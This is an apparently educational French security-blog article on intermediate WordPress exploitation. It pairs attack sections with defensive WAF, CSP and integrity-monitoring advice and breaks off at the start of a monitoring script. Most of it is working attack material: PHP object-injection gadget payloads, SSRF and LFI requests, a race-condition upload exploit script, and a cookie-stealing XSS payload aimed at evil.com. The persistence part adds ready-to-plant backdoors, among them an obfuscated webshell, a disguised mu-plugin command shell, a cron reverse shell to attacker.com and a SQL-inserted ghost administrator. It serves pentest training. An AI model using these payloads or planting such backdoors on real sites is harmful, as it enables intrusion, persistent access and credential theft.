Besoin d'un audit de sécurité ?
Devis personnalisé sous 24h
Techniques de Hacking / WordPress

Hacking WordPress Intermédiaire : Exploitation Avancée et Défense en Profondeur

Par Ayi NEDJIMI 15 février 2026 Lecture : 35 min
#WordPress #ObjectInjection #RESTAPI #Backdoor #WAF #Persistance

1. Introduction : Au-delà des fondamentaux

WordPress propulse plus de 43% du web mondial. Si les attaques de base -- force brute sur wp-login.php, exploitation de plugins obsolètes via des scanners automatiques, injection SQL classique dans des formulaires non protégés -- sont bien documentées et largement automatisées, elles ne représentent que la surface visible de la menace. Cet article s'adresse aux professionnels de la sécurité qui maîtrisent déjà les fondamentaux et souhaitent comprendre les techniques d'exploitation intermédiaires utilisées par des attaquants plus sophistiqués.

Le profil de l'attaquant intermédiaire se distingue nettement du script kiddie. Il possède une compréhension approfondie de l'architecture PHP et du fonctionnement interne de WordPress. Il sait lire le code source des plugins, identifier des patterns vulnérables dans les fonctions de désérialisation, et construire des chaînes d'exploitation complexes impliquant plusieurs composants. Il connaît l'API REST de WordPress, sait énumérer les endpoints exposés et exploiter des failles dans la logique d'autorisation. Surtout, il pense à la persistance : une fois l'accès initial obtenu, il implante des mécanismes durables de maintien d'accès qui survivent aux mises à jour et aux nettoyages superficiels.

Dans cet article, nous couvrirons quatre axes majeurs d'exploitation avancée : la désérialisation PHP et l'Object Injection (CWE-502), les attaques sur l'API REST, les techniques de persistance post-exploitation, et les méthodes d'élévation de privilèges. Pour chaque technique offensive, nous détaillerons les stratégies de défense correspondantes, avec une section dédiée à la défense en profondeur comprenant WAF, CSP, monitoring d'intégrité et audit logging. L'objectif est de fournir aux pentesters, aux équipes blue team et aux administrateurs WordPress une vision complète du paysage de menaces intermédiaire et des contre-mesures appropriées.

Cet article s'inscrit dans une série progressive : il présuppose la maîtrise des concepts abordés dans l'article débutant (énumération, brute force, exploitation de vulnérabilités connues) et prépare le terrain pour le niveau expert qui abordera le développement d'exploits 0-day, le reverse engineering de plugins et l'évasion de WAF avancée.

Avertissement légal et éthique

Les techniques décrites dans cet article sont présentées à des fins éducatives et de recherche en sécurité uniquement. Toute exploitation non autorisée de systèmes informatiques est illégale (articles 323-1 à 323-7 du Code pénal français). Testez exclusivement sur des environnements dont vous avez l'autorisation écrite explicite. L'auteur décline toute responsabilité en cas d'utilisation malveillante.

2. Exploitation avancée des plugins et thèmes

2.1 PHP Object Injection (Désérialisation)

L'Object Injection PHP constitue l'une des vulnérabilités les plus dangereuses et les moins comprises dans l'écosystème WordPress. Elle repose sur l'utilisation non sécurisée de la fonction unserialize() sur des données contrôlées par l'utilisateur. Contrairement à une injection SQL qui cible la base de données, l'Object Injection manipule directement le runtime PHP en instanciant des objets arbitraires avec des propriétés contrôlées par l'attaquant.

Fonctionnement de unserialize() en PHP

La sérialisation PHP convertit une structure de données (objet, tableau, scalaire) en une chaîne de caractères transportable. La désérialisation effectue l'opération inverse. Le problème survient lorsque des données non fiables sont passées à unserialize() : PHP reconstruit l'objet et exécute automatiquement certaines méthodes magiques, notamment __wakeup() (appelée à la désérialisation), __destruct() (appelée lorsque l'objet est détruit) et __toString() (appelée lors d'une conversion en chaîne). Si l'une de ces méthodes effectue des opérations sensibles (écriture de fichiers, exécution de commandes, requêtes réseau), l'attaquant peut enchaîner des appels pour obtenir une exécution de code arbitraire.

// Exemple de code vulnérable dans un plugin WordPress
// Le plugin stocke les préférences utilisateur en sérialisation PHP
function get_user_preferences() {
    $prefs = get_option('plugin_user_prefs_' . get_current_user_id());
    if ($prefs) {
        // VULNÉRABLE : unserialize() sur des données potentiellement contrôlées
        return unserialize($prefs);
    }
    return new DefaultPreferences();
}

// Classe présente dans le plugin avec une méthode magique dangereuse
class CacheManager {
    public $cache_file;
    public $cache_data;

    public function __destruct() {
        // Écrit des données dans un fichier à la destruction de l'objet
        if ($this->cache_file && $this->cache_data) {
            file_put_contents($this->cache_file, $this->cache_data);
        }
    }
}

// L'attaquant peut créer un payload sérialisé qui instancie CacheManager
// avec cache_file = "/var/www/html/wp-content/uploads/shell.php"
// et cache_data = "<?php system($_GET['cmd']); ?>"

Recherche de points d'injection dans les plugins WordPress

L'identification de vulnérabilités Object Injection nécessite une analyse statique du code source des plugins. Les patterns à rechercher sont : tout appel à unserialize() recevant des données provenant de $_GET, $_POST, $_COOKIE, $_REQUEST, ou de la base de données (via get_option(), get_user_meta(), get_transient()). Les cookies WordPress et les options stockées en base sont des vecteurs fréquents car de nombreux plugins y stockent des données sérialisées sans validation.

# Recherche de patterns vulnérables dans les plugins installés
grep -rn "unserialize" /var/www/html/wp-content/plugins/ --include="*.php"
grep -rn "maybe_unserialize" /var/www/html/wp-content/plugins/ --include="*.php"

# Recherche de classes avec des méthodes magiques exploitables
grep -rn "__wakeup\|__destruct\|__toString\|__call" \
    /var/www/html/wp-content/plugins/ --include="*.php"

Construction de chaînes d'exploitation avec PHPGGC

L'outil PHPGGC (PHP Generic Gadget Chains) est l'équivalent PHP de ysoserial pour Java. Il fournit des chaînes de gadgets prêtes à l'emploi pour de nombreuses bibliothèques PHP couramment présentes dans les installations WordPress, notamment Monolog, Guzzle, Doctrine, et Laravel. Une chaîne de gadgets (gadget chain) est une séquence d'appels de méthodes qui, partant d'une méthode magique comme __destruct(), enchaîne des appels jusqu'à atteindre une primitive d'exécution de code (comme system() ou file_put_contents()).

# Lister les chaînes de gadgets disponibles
php phpggc -l

# Générer un payload pour Monolog/RCE1 (Remote Code Execution)
php phpggc Monolog/RCE1 system "id" -s

# Générer un payload encodé en base64 pour injection via cookie
php phpggc Monolog/RCE1 system "id" -b

# Générer un payload pour écriture de fichier (webshell)
php phpggc Monolog/RCE2 /var/www/html/wp-content/uploads/info.php \
    '<?php phpinfo(); ?>' -s

Un exemple réel marquant est le CVE-2021-21389 affectant le plugin BuddyPress, qui permettait une Object Injection via les données de profil utilisateur. L'attaquant pouvait soumettre un objet sérialisé malveillant via un champ de profil, déclenchant une chaîne de gadgets menant à l'exécution de code à distance. De même, le CVE-2023-28121 (WooCommerce Payments) et le CVE-2024-27956 (WP Automatic) ont démontré que même les plugins les plus populaires et audités pouvaient contenir des vulnérabilités de désérialisation critiques.

Point clé : Object Injection

L'Object Injection PHP est particulièrement dangereuse dans WordPress car l'écosystème de plugins fournit un large réservoir de classes avec des méthodes magiques exploitables. La présence de bibliothèques tierces (Monolog, Guzzle) dans les dépendances des plugins élargit considérablement la surface d'attaque des gadget chains disponibles. La mitigation principale est de remplacer unserialize() par json_decode() pour toutes les données non fiables.

2.2 SSRF via plugins

De nombreux plugins WordPress effectuent des requêtes HTTP côté serveur pour diverses fonctionnalités : récupération de miniatures depuis des URL externes (oEmbed), agrégation de flux RSS, vérification de liens, partage social, import de contenu. Ces fonctionnalités constituent autant de vecteurs potentiels de Server-Side Request Forgery (SSRF). L'attaquant manipule l'URL de destination pour forcer le serveur WordPress à émettre des requêtes vers des ressources internes normalement inaccessibles depuis l'extérieur.

WordPress intègre nativement la fonctionnalité oEmbed qui permet d'intégrer du contenu externe (vidéos YouTube, tweets, etc.) en fournissant simplement une URL. Le mécanisme effectue une requête HTTP vers l'URL fournie pour récupérer les métadonnées d'intégration. Un attaquant peut exploiter cette fonctionnalité pour scanner le réseau interne, accéder à des services de métadonnées cloud (IMDS à http://169.254.169.254), ou interagir avec des services internes comme Redis, Elasticsearch ou des panneaux d'administration.

# Exploitation SSRF via la fonctionnalité oEmbed de WordPress
# Tentative d'accès au service de métadonnées AWS
curl -X POST "https://target.com/wp-json/oembed/1.0/proxy" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Scan de ports internes via un plugin de vérification de liens
curl "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=check_link&url=http://192.168.1.1:8080/admin"

# Exploitation via les fonctions de prévisualisation d'URL
curl "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=fetch_preview&url=http://internal-db:3306/"

2.3 LFI/RFI dans les thèmes

Les vulnérabilités d'inclusion de fichiers (Local File Inclusion / Remote File Inclusion) dans les thèmes WordPress proviennent typiquement de mécanismes de sélection de templates dynamiques. Un thème qui permet à l'utilisateur de choisir un layout ou un template via un paramètre GET ou POST sans validation suffisante ouvre la porte à l'inclusion de fichiers arbitraires.

// Thème vulnérable : inclusion dynamique de template sans validation
// fichier: theme/page-templates/custom-template.php

$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// VULNÉRABLE : path traversal possible
include(TEMPLATEPATH . '/templates/' . $template . '.php');

// Exploitation LFI : lecture de /etc/passwd
// GET /page/?template=../../../../etc/passwd%00

// Exploitation via wrappers PHP
// GET /page/?template=php://filter/convert.base64-encode/resource=wp-config

// Log poisoning pour RCE via LFI
// 1. Injecter du code PHP dans les logs Apache via User-Agent
// User-Agent: <?php system($_GET['cmd']); ?>
// 2. Inclure le fichier de log
// GET /page/?template=../../../../var/log/apache2/access.log%00

Les wrappers PHP offrent des possibilités d'exploitation élargies. Le wrapper php://filter permet de lire le code source de fichiers PHP (notamment wp-config.php qui contient les identifiants de base de données) en encodant le contenu en base64. Le wrapper data:// peut être utilisé pour injecter du code PHP directement via l'URL si allow_url_include est activé. Le wrapper expect://, lorsqu'il est disponible, permet une exécution de commandes directe.

2.4 Race conditions dans les uploads

Les vulnérabilités de type TOCTOU (Time-of-Check to Time-of-Use) dans le système d'upload WordPress exploitent le délai entre le moment où un fichier est vérifié et celui où il est utilisé ou supprimé. WordPress effectue plusieurs vérifications lors d'un upload : validation du type MIME, vérification de l'extension, analyse du contenu. Certains plugins de sécurité ajoutent des scans antivirus ou des vérifications supplémentaires. Le problème est que le fichier est d'abord écrit sur le disque, puis vérifié, et potentiellement supprimé si la vérification échoue.

# Script d'exploitation de race condition sur l'upload WordPress
# Envoie simultanément un fichier malveillant et tente d'y accéder
# avant que le plugin de sécurité ne le supprime

import threading
import requests
import time

TARGET = "https://target.com"
UPLOAD_URL = f"{TARGET}/wp-admin/admin-ajax.php"
SHELL_NAME = "temp_image.php.jpg"  # Double extension
SHELL_PATH = f"{TARGET}/wp-content/uploads/2026/02/{SHELL_NAME}"

def upload_shell():
    """Upload le fichier malveillant en continu"""
    files = {'file': (SHELL_NAME, b'GIF89a', 'image/jpeg')}
    data = {'action': 'upload_attachment', '_wpnonce': NONCE}
    while True:
        try:
            requests.post(UPLOAD_URL, files=files, data=data, cookies=COOKIES)
        except:
            pass

def access_shell():
    """Tente d'accéder au shell avant sa suppression"""
    while True:
        try:
            r = requests.get(f"{SHELL_PATH}?c=id", timeout=1)
            if "uid=" in r.text:
                print(f"[+] RCE réussie : {r.text}")
                return True
        except:
            pass

# Lancement simultané des threads
for _ in range(5):
    threading.Thread(target=upload_shell, daemon=True).start()
for _ in range(10):
    threading.Thread(target=access_shell, daemon=True).start()

time.sleep(60)  # Attente de 60 secondes

Défense contre les vulnérabilités de plugins et thèmes

  • Object Injection : Remplacer unserialize() par json_decode(). Utiliser le paramètre allowed_classes de unserialize() (PHP 7+) pour restreindre les classes autorisées.
  • SSRF : Configurer un proxy de sortie, bloquer les plages IP privées (RFC 1918) et les adresses de métadonnées cloud dans les requêtes sortantes.
  • LFI/RFI : Utiliser des whitelists de templates, désactiver allow_url_include, configurer open_basedir pour restreindre l'accès au système de fichiers.
  • Race conditions : Effectuer les vérifications dans un répertoire temporaire isolé avant de déplacer le fichier vers sa destination finale. Utiliser des noms de fichiers aléatoires.
Matrice des Vecteurs d'Attaque WordPress Core Plugins Thèmes REST API Database File System Object Injection Moyen Critique Moyen Faible Moyen Élevé SSRF Moyen Critique Faible Moyen Faible Faible LFI / RFI Faible Élevé Critique Faible Faible Critique SQL Injection Faible Critique Moyen Moyen Critique Faible XSS Moyen Critique Critique Moyen Moyen Faible CSRF Faible Critique Moyen Moyen Faible Faible File Upload Moyen Critique Moyen Moyen Faible Critique Auth Bypass Faible Critique Faible Critique Moyen Faible Critique Élevé / Moyen Faible Les plugins représentent la surface d'attaque la plus large -- 97% des vulnérabilités WordPress proviennent des plugins et thèmes

3. Attaques sur l'API REST WordPress

L'API REST WordPress, introduite dans le core à partir de la version 4.7 (décembre 2016), expose de nombreuses fonctionnalités du CMS via des endpoints HTTP JSON. Si cette API facilite le développement d'applications headless et d'intégrations tierces, elle élargit considérablement la surface d'attaque en exposant des opérations qui étaient auparavant accessibles uniquement via l'interface d'administration. Les endpoints sont accessibles sous le préfixe /wp-json/wp/v2/ et couvrent les posts, pages, utilisateurs, commentaires, médias, taxonomies, et plus.

Énumération et reconnaissance de l'API

La première étape d'une attaque sur l'API REST consiste à cartographier les endpoints disponibles, y compris ceux ajoutés par des plugins. L'endpoint racine /wp-json/ retourne un index complet de tous les namespaces et routes enregistrés, révélant la liste des plugins qui exposent des API et potentiellement des informations sensibles sur l'architecture de l'application.

# Énumération complète des endpoints REST API
curl -s "https://target.com/wp-json/" | jq '.routes | keys[]'

# Énumération des utilisateurs (souvent accessible sans authentification)
curl -s "https://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Énumération des namespaces de plugins
curl -s "https://target.com/wp-json/" | jq '.namespaces[]'

# Fuzzing des endpoints personnalisés
for endpoint in settings options config debug backup export; do
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://target.com/wp-json/wp/v2/$endpoint")
    echo "$endpoint: $response"
done

# Énumération des utilisateurs via ID bruteforce
for i in $(seq 1 100); do
    slug=$(curl -s "https://target.com/wp-json/wp/v2/users/$i" | jq -r '.slug // empty')
    if [ -n "$slug" ]; then
        echo "User $i: $slug"
    fi
done

CVE-2017-1001000 : Injection de contenu sans authentification

Le CVE-2017-1001000 reste l'un des exemples les plus emblématiques de vulnérabilité dans l'API REST WordPress. Cette faille, présente dans WordPress 4.7.0 et 4.7.1, permettait à un attaquant non authentifié de modifier le contenu de n'importe quel post ou page publié. La vulnérabilité résidait dans un conflit de priorité entre le routeur REST et la validation des permissions : en ajoutant un suffixe numérique suivi de caractères alphanumériques à l'ID du post dans l'URL (par exemple /wp-json/wp/v2/posts/1?id=1abc), l'attaquant contournait le contrôle d'accès. PHP castait "1abc" en entier 1 pour l'opération de mise à jour, mais le routeur ne déclenchait pas la vérification de permissions car le pattern de l'URL ne correspondait pas exactement à la route attendue.

# CVE-2017-1001000 - WordPress Content Injection
# Modification d'un post sans authentification (WP 4.7.0-4.7.1)

# 1. Identifier un post existant
curl -s "https://target.com/wp-json/wp/v2/posts" | jq '.[0].id'

# 2. Modifier le contenu du post (bypass d'authentification)
curl -X POST "https://target.com/wp-json/wp/v2/posts/1?id=1abc" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "Hacked by Security Researcher",
    "content": "This site is vulnerable to CVE-2017-1001000"
  }'

# 3. Variante : injection de JavaScript (Stored XSS via REST API)
curl -X POST "https://target.com/wp-json/wp/v2/posts/1?id=1abc" \
  -H "Content-Type: application/json" \
  -d '{
    "content": "<script>document.location=\"http://evil.com/steal?c=\"+document.cookie</script>"
  }'

Attaques par mass assignment sur les custom post types

Les plugins qui enregistrent des custom post types avec l'API REST exposent souvent des champs supplémentaires sans vérification de permissions adéquate. Une attaque par mass assignment consiste à envoyer des paramètres supplémentaires dans une requête de création ou de mise à jour, en espérant que le serveur acceptera des champs non prévus. Par exemple, un plugin de e-commerce peut exposer un endpoint pour les produits mais ne pas correctement protéger le champ prix ou le statut de publication.

# Tentative de mass assignment sur un custom post type
# Exemple : modification du prix d'un produit WooCommerce
curl -X POST "https://target.com/wp-json/wc/v3/products/42" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic $(echo -n 'subscriber:password' | base64)" \
  -d '{
    "regular_price": "0.01",
    "status": "publish",
    "meta_data": [
      {"key": "_price", "value": "0.01"},
      {"key": "_stock_status", "value": "instock"}
    ]
  }'

# Escalade via modification de capabilities dans les métadonnées utilisateur
curl -X POST "https://target.com/wp-json/wp/v2/users/me" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "meta": {
      "wp_capabilities": {"administrator": true}
    }
  }'

Point clé : API REST WordPress

L'API REST WordPress expose par défaut l'énumération des utilisateurs et la structure complète des endpoints. Chaque plugin ajoutant des routes REST augmente la surface d'attaque. La désactivation de l'API REST pour les utilisateurs non authentifiés ou sa restriction aux seuls endpoints nécessaires est une mesure de durcissement essentielle. Utilisez le hook rest_authentication_errors pour bloquer les requêtes non authentifiées.

4. Persistance post-exploitation

Une fois l'accès initial obtenu à une installation WordPress (via une vulnérabilité de plugin, un credential stuffing réussi, ou une autre technique), l'attaquant intermédiaire cherche à établir des mécanismes de persistance qui survivront aux mises à jour, aux changements de mot de passe et aux tentatives de nettoyage superficielles. WordPress offre de nombreux vecteurs de persistance en raison de son architecture modulaire et de la multiplicité des emplacements où du code PHP est automatiquement exécuté.

4.1 Backdoors dans functions.php

Le fichier functions.php du thème actif est chargé à chaque requête WordPress. C'est l'un des emplacements les plus courants pour implanter une backdoor, car les modifications persistent tant que le thème est actif et sont souvent ignorées lors des audits qui se concentrent sur les plugins. Les backdoors peuvent prendre des formes variées, de la plus simple à la plus obfusquée.

// Backdoor simple via eval() -- facilement détectable
add_action('init', function() {
    if (isset($_REQUEST['eval_code']) && md5($_REQUEST['auth']) === '21232f297a57a5a743894a0e4a801fc3') {
        eval(base64_decode($_REQUEST['eval_code']));
        exit;
    }
});

// Backdoor de création d'administrateur caché
add_action('init', function() {
    if (isset($_GET['create_admin']) && $_GET['key'] === 'secret_key_2026') {
        if (!username_exists('support_tech')) {
            $user_id = wp_create_user('support_tech', 'P@ssw0rd!2026', 'support@legitimate-domain.com');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
        wp_redirect(home_url());
        exit;
    }
});

// Webshell obfusqué utilisant des fonctions de chaîne PHP
add_filter('the_content', function($content) {
    if (isset($_COOKIE['debug_mode'])) {
        $f = str_rot13('flfgrz');  // system
        $f($_COOKIE['debug_cmd']);
    }
    return $content;
});

4.2 Must-Use Plugins (mu-plugins)

Le répertoire /wp-content/mu-plugins/ (Must-Use Plugins) est un mécanisme WordPress particulièrement dangereux du point de vue de la persistance. Les fichiers PHP placés dans ce répertoire sont automatiquement chargés à chaque requête, sans apparaître dans la liste des plugins de l'interface d'administration et sans possibilité de désactivation via l'interface. Un attaquant qui obtient un accès en écriture au système de fichiers peut y déposer un backdoor quasi invisible.

<?php
/**
 * Plugin Name: WordPress Performance Optimizer
 * Description: Optimizes database queries and caching for better performance
 * Version: 2.1.4
 * Author: WordPress Core Team
 *
 * Ce fichier, placé dans /wp-content/mu-plugins/, est chargé automatiquement.
 * Il n'apparaît pas dans la liste des plugins désactivables.
 */

// Backdoor déguisée en "fonctionnalité de maintenance"
add_action('plugins_loaded', function() {
    if (isset($_SERVER['HTTP_X_MAINTENANCE_TOKEN']) &&
        hash_equals('a1b2c3d4e5f6', $_SERVER['HTTP_X_MAINTENANCE_TOKEN'])) {

        // Exécution de commandes via header HTTP personnalisé
        if (isset($_SERVER['HTTP_X_MAINTENANCE_CMD'])) {
            $output = shell_exec(base64_decode($_SERVER['HTTP_X_MAINTENANCE_CMD']));
            header('X-Maintenance-Result: ' . base64_encode($output));
            exit;
        }

        // Upload de fichier via POST
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['maintenance_file'])) {
            move_uploaded_file(
                $_FILES['maintenance_file']['tmp_name'],
                ABSPATH . $_POST['maintenance_path']
            );
            echo 'OK';
            exit;
        }
    }
}, 1); // Priorité 1 = exécuté très tôt

4.3 WordPress Cron Jobs malveillants

WordPress possède son propre système de tâches planifiées (WP-Cron) qui est déclenché à chaque visite sur le site. Un attaquant peut enregistrer des événements cron persistants qui exécutent du code malveillant à intervalles réguliers. Ce mécanisme est particulièrement insidieux car les événements cron sont stockés en base de données (dans la table wp_options sous la clé cron) et ne sont pas visibles dans le système de fichiers.

// Enregistrement d'un cron job malveillant pour reverse shell périodique
// Ce code est exécuté une fois pour installer la persistance

// Définir la fonction de callback
function wp_system_health_check() {
    // Reverse shell PHP déguisé en "health check"
    $sock = fsockopen("attacker.com", 4444, $errno, $errstr, 5);
    if ($sock) {
        $descriptorspec = array(
            0 => $sock,
            1 => $sock,
            2 => $sock
        );
        $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    }
}
add_action('wp_system_health_check_hook', 'wp_system_health_check');

// Planifier l'exécution toutes les 6 heures
if (!wp_next_scheduled('wp_system_health_check_hook')) {
    wp_schedule_event(time(), 'sixhours', 'wp_system_health_check_hook');
}

// Ajouter un intervalle personnalisé de 6 heures
add_filter('cron_schedules', function($schedules) {
    $schedules['sixhours'] = array(
        'interval' => 21600,
        'display'  => 'Every 6 Hours'
    );
    return $schedules;
});

4.4 Utilisateurs admin fantômes

L'insertion directe d'un utilisateur administrateur en base de données est une technique de persistance qui contourne les hooks et les notifications WordPress habituels. L'utilisateur créé de cette manière n'apparaîtra pas dans les logs d'activité gérés par les plugins de sécurité (qui se basent sur les hooks WordPress) et peut être rendu difficile à repérer en utilisant un nom d'utilisateur qui ressemble à un compte système légitime.

-- Insertion directe d'un administrateur fantôme en base de données
-- Contourne tous les hooks WordPress et les plugins de logging

-- 1. Créer l'utilisateur
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email,
                      user_registered, user_status, display_name)
VALUES (
    'wpsupport',
    '$P$BZk5L7J5x9nC5CjJ7Ceb5O6qX6MKE0', -- mot de passe : Admin2026!
    'wpsupport',
    'wp-support@wordpress.org', -- email semblant légitime
    NOW(),
    0,
    'WP Support'
);

-- 2. Récupérer l'ID du nouvel utilisateur
SET @uid = LAST_INSERT_ID();

-- 3. Attribuer le rôle administrateur via les capabilities
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES
(@uid, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(@uid, 'wp_user_level', '10'),
(@uid, 'nickname', 'wpsupport'),
(@uid, 'first_name', 'WP'),
(@uid, 'last_name', 'Support'),
(@uid, 'description', 'WordPress Technical Support Account');
Méthodes de Persistance Post-Exploitation WordPress WordPress Compromis Accès administrateur obtenu functions.php /wp-content/themes/*/functions.php Détection : Facile mu-plugins /wp-content/mu-plugins/*.php Détection : Moyen WP-Cron Jobs wp_options > cron (base de données) Détection : Difficile Admin Fantôme (DB) wp_users + wp_usermeta (SQL direct) Détection : Difficile Webshell (uploads) /wp-content/uploads/*.php Détection : Facile Un attaquant intermédiaire combine plusieurs méthodes pour maximiser la résilience de son accès Réf. MITRE ATT&CK : T1505.003 (Web Shell), T1053.005 (Scheduled Task), T1136.001 (Local Account)

5. Élévation de privilèges

L'élévation de privilèges dans WordPress consiste à passer d'un rôle à faibles permissions (Subscriber, Contributor, Author) vers un rôle à permissions élevées (Editor, Administrator), voire vers un accès système complet. WordPress utilise un système de capabilities (capacités) attribuées par rôle, stockées dans la table wp_options sous la clé wp_user_roles et dans wp_usermeta pour chaque utilisateur. Ce système, bien que robuste dans le core, est fréquemment mal implémenté par les plugins tiers.

De Subscriber à Administrator

Un compte Subscriber dans WordPress est le rôle le plus bas : il ne peut que lire du contenu et gérer son propre profil. Cependant, de nombreuses vulnérabilités dans les plugins permettent une escalade vers Administrator. Le pattern le plus courant est un plugin qui expose un endpoint AJAX (wp_ajax_) sans vérifier les capabilities de l'utilisateur appelant, ou qui se contente de vérifier is_user_logged_in() sans contrôler le rôle.

// Exemple de plugin vulnérable à l'escalade de privilèges
// Le plugin permet de modifier les options WordPress via AJAX
// mais ne vérifie que la connexion, pas les capabilities

add_action('wp_ajax_update_plugin_settings', 'handle_settings_update');

function handle_settings_update() {
    // VULNÉRABLE : vérifie uniquement que l'utilisateur est connecté
    // Tout Subscriber peut appeler cette action
    check_ajax_referer('plugin_settings_nonce', 'nonce');

    $option_name = sanitize_text_field($_POST['option_name']);
    $option_value = sanitize_text_field($_POST['option_value']);

    // Un attaquant peut modifier default_role en 'administrator'
    // puis créer un nouveau compte qui sera automatiquement admin
    update_option($option_name, $option_value);

    wp_send_json_success('Settings updated');
}
# Exploitation : modifier le rôle par défaut en administrateur
# Étape 1 : récupérer le nonce (souvent inclus dans le HTML de la page)
NONCE=$(curl -s -b cookies.txt "https://target.com/wp-admin/" | \
    grep -oP 'plugin_settings_nonce.*?value="\K[^"]+')

# Étape 2 : modifier le rôle par défaut
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -b cookies.txt \
  -d "action=update_plugin_settings&nonce=$NONCE&option_name=default_role&option_value=administrator"

# Étape 3 : créer un nouveau compte via le formulaire d'inscription
curl -X POST "https://target.com/wp-login.php?action=register" \
  -d "user_login=newadmin&user_email=attacker@evil.com"

# Le nouveau compte sera créé avec le rôle administrator

Bypass de nonce et exploitation CSRF

Les nonces WordPress sont des tokens anti-CSRF à durée de vie limitée (par défaut 24 heures, avec une période de grâce de 24 heures supplémentaires). Cependant, ils ne sont pas des tokens cryptographiques uniques par requête : un nonce WordPress est un hash basé sur l'action, l'ID utilisateur, le session token et l'heure actuelle. Cela signifie qu'un nonce intercepté est réutilisable pendant sa durée de validité. De plus, de nombreux plugins ne vérifient pas correctement les nonces ou utilisent des actions nonce trop génériques.

// Nonce trop générique - le même nonce est valide pour toutes les actions
// du plugin, permettant un CSRF croisé entre fonctionnalités
$nonce = wp_create_nonce('plugin_action'); // Même nonce pour tout

// Bonne pratique : nonce spécifique par action
$nonce_delete = wp_create_nonce('delete_item_' . $item_id);
$nonce_update = wp_create_nonce('update_item_' . $item_id);

Point clé : Élévation de privilèges

Les vulnérabilités d'élévation de privilèges dans WordPress proviennent majoritairement de plugins qui vérifient is_user_logged_in() au lieu de current_user_can('manage_options'). Lors d'un audit, recherchez systématiquement les hooks wp_ajax_ qui n'utilisent pas current_user_can() avec une capability appropriée. Référence : CWE-269 (Improper Privilege Management).

6. Défense en profondeur

La défense en profondeur appliquée à WordPress repose sur le principe de superposition de couches de sécurité indépendantes. Si une couche est compromise, les suivantes doivent bloquer ou détecter l'attaque. Cette approche est particulièrement pertinente pour WordPress en raison de la large surface d'attaque créée par les plugins et thèmes tiers.

6.1 WAF (Web Application Firewall)

Un WAF constitue la première ligne de défense, filtrant les requêtes malveillantes avant qu'elles n'atteignent l'application WordPress. Trois approches principales existent : WAF au niveau du serveur web (ModSecurity), WAF applicatif WordPress (Wordfence, Sucuri), et WAF cloud (Cloudflare WAF). Chaque approche offre des avantages et inconvénients distincts en termes de performance, de couverture et de facilité de déploiement.

Critère ModSecurity + CRS Wordfence Premium Cloudflare WAF Pro
Déploiement Serveur (Apache/Nginx) Plugin WordPress Cloud (DNS proxy)
Impact performance Faible Modéré (PHP) Nul (edge)
Règles WordPress Manuelles ou CRS Excellentes (mises à jour temps réel) Bonnes (génériques)
Protection DDoS Limitée Rate limiting Excellente
Coût annuel Gratuit (open source) ~119 USD/site ~240 USD/site
# Règles ModSecurity personnalisées pour WordPress
# Bloquer l'accès direct aux fichiers PHP dans uploads
SecRule REQUEST_URI "@rx /wp-content/uploads/.*\.php" \
    "id:100001,phase:1,deny,status:403,msg:'PHP execution in uploads blocked'"

# Bloquer les tentatives d'Object Injection PHP
SecRule ARGS "@rx O:\d+:\"[a-zA-Z_]" \
    "id:100002,phase:2,deny,status:403,msg:'PHP Object Injection attempt'"

# Bloquer l'accès non authentifié à l'API REST users
SecRule REQUEST_URI "@rx /wp-json/wp/v2/users" \
    "id:100003,phase:1,chain,deny,status:403"
    SecRule &REQUEST_HEADERS:Authorization "@eq 0" ""

# Rate limiting sur wp-login.php (max 5 tentatives par minute)
SecRule REQUEST_URI "@streq /wp-login.php" \
    "id:100004,phase:1,pass,nolog,setvar:ip.login_count=+1,expirevar:ip.login_count=60"
SecRule IP:LOGIN_COUNT "@gt 5" \
    "id:100005,phase:1,deny,status:429,msg:'Login rate limit exceeded'"

6.2 Content Security Policy

La mise en place d'une Content Security Policy (CSP) sur WordPress est un défi en raison de l'utilisation extensive de scripts et styles inline par le core et par de nombreux plugins. Une approche progressive en mode report-only permet d'identifier les violations avant de passer en mode bloquant. L'utilisation de nonces CSP ('nonce-xxx') est préférable aux hashes pour les scripts dynamiques, bien que l'implémentation requière des modifications au niveau du thème.

# Configuration Nginx pour CSP WordPress
# Phase 1 : Report-Only (ne bloque rien, rapporte les violations)
add_header Content-Security-Policy-Report-Only "
    default-src 'self';
    script-src 'self' 'unsafe-inline' 'unsafe-eval'
        https://www.googletagmanager.com
        https://www.google-analytics.com;
    style-src 'self' 'unsafe-inline'
        https://fonts.googleapis.com;
    img-src 'self' data: https:;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://www.google-analytics.com;
    frame-src 'self' https://www.youtube.com;
    report-uri /csp-report-endpoint;
" always;

# Phase 2 : Enforcement (après analyse des rapports)
# Remplacer 'unsafe-inline' par des nonces spécifiques
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-$request_id'
        https://www.googletagmanager.com;
    style-src 'self' 'nonce-$request_id'
        https://fonts.googleapis.com;
    object-src 'none';
    base-uri 'self';
    form-action 'self';
" always;

# Headers de sécurité complémentaires
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

6.3 File Integrity Monitoring

Le monitoring d'intégrité des fichiers est la défense la plus efficace contre les backdoors et les modifications malveillantes du code. Il compare l'état actuel du système de fichiers avec un état de référence connu et alerte sur toute modification. Pour WordPress, cela inclut la surveillance du core, des plugins, des thèmes et surtout des répertoires critiques comme mu-plugins et uploads.

#!/bin/bash
# Script de monitoring d'intégrité WordPress
# À exécuter via cron toutes les heures

WP_PATH="/var/www/html"
HASH_FILE="/var/lib/wp-integrity/hashes.sha256"
